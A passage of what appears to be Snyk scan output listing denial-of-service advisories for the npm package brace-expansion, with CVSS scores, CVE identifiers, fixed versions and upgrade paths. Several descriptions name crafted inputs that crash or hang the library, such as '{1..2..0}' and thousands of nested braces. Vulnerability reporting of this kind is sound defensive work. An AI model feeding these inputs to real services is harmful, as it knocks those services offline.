"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
